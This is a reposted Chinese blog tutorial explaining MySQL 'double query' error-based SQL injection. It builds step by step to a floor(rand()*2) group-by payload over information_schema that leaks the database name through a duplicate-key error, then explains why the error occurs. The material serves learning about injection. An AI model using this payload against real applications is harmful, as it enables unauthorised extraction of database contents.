双查询注入
2015-07-20 11:34
183 查看
原文链接:https://www.geek-share.com/detail/2648363243.html
双查询注入:它也是报错注入的一种;
详情请参考:http://www.2cto.com/Article/201211/166268.html
mysql> select (select database()); +---------------------+ | (select database()) | +---------------------+ | security | +---------------------+ 1 row in set (0.00 sec)
mysql> select concat((select database())); +-----------------------------+ | concat((select database())) | +-----------------------------+ | security | +-----------------------------+ 1 row in set (0.00 sec)<br><br>注:concat函数是把两个字符串链接到一起; <br>mysql> select concat('a','b');<br>+-----------------+<br>| concat('a','b') |<br>+-----------------+<br>| ab |<br>+-----------------+
mysql> select rand(); +--------------------+ | rand() | +--------------------+ | 0.6080478007048814 | +--------------------+<br><br>注:rand函数是一个随机函数,所以每次出现的值不一样;会出现0-1之间的值;
mysql> select floor(rand()*2); +-----------------+ | floor(rand()*2) | +-----------------+ | 1 | +-----------------+<br><br>注:floor函数是把小数进行取整;
mysql> select concat((select database()),floor(rand()*2)) as test from informati on_schema.tables group by test; +-----------+ | test | +-----------+ | security0 | | security1 |
接下来就看看一些爆破测试吧:
mysql> select count(*),concat((select database()),floor(rand()*2)) as test from information_schema.tables group by test; +----------+-----------+ | count(*) | test | +----------+-----------+ | 33 | security0 | | 49 | security1 | +----------+-----------+ 2 rows in set (0.00 sec)
mysql> select count(*),concat((select database()),floor(rand()*2)) as test from information_schema.tables group by test; ERROR 1062 (23000): Duplicate entry 'security0' for key 'group_key'
我们get到数据了
最后的报错是最重要的地方!重复的键值; 那么为什么键值会重复呢,就是因为concat函数执行了两次,因为concat是连接两个随机字符串,当第二次执行的时候,有可能会出现与第一次键值重复的情况!那么这种情况下,就会报错! 也就是: 使用聚合函数,group by子句,并利用随机函数产生错误运行时,由于涉及的随机函数和聚合函数计算; 当在一个聚合函数,比如count后面如果使用分组语句就会把查询的一部分以错误形式显示出来;因为concat函数执行两次,比如select database(),这样就执行了两次select database,与后面的随机函数链接在一起,可能会随机重复,就会报错; 当然大家不用问我MySQL为啥会这样!我也不懂 关于原理,经过我和小伙伴不懈努力终于搞定了 通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。 结论是:当与临时表里面的值进行比较,如果不同,就插入,但是插入的时候又计算了一次,所以如果插入时计算的值与直接比较的值不一样,则报错! 具体原理参考:http://www.mysqlops.com/2012/05/15/mysql-sql-analyze.html)。
转载于:https://www.cnblogs.com/BloodZero/p/4660971.html
相关文章推荐
- Mybatis中$和#的注入使得在控制台写的sql语句和数据库写的语句查询结果不一致。
- SQL注入---联合查询注入
- Spring查询方法的注入 为查询的方法注入某个实例
- java 避免不同库使用left join查询速率低效 采用 sql 注入foreach 遍历list查询方式
- 在 SQL 注入攻击 中,用户通过操纵表单或 GET 查询字符串,将信息添加到数据库查询中
- SQL注入奇招致胜UNION查询轻松免费看电影
- sql的注入问题 连接查询 子查询
- 防注入查询
- mybatis下无法通过service注入查询到mysql的text的字段信息的解决办法
- spring mvc 模糊查询防注入
- SQL注入原理--手工联合查询注入技术
- ibatis执行like查询时要注意注入漏洞(转别人的)
- spring mvc 模糊查询防注入
- 双查询注入
- 利用information_schema配合双查询报错注入
- sql注入之联合语句查询
- spring mvc 模糊查询防注入
- 双注入查询
- 详细讲解双查询注入
- 使用mybatis查询sql注入到 map 中,唯空字段 也获取出来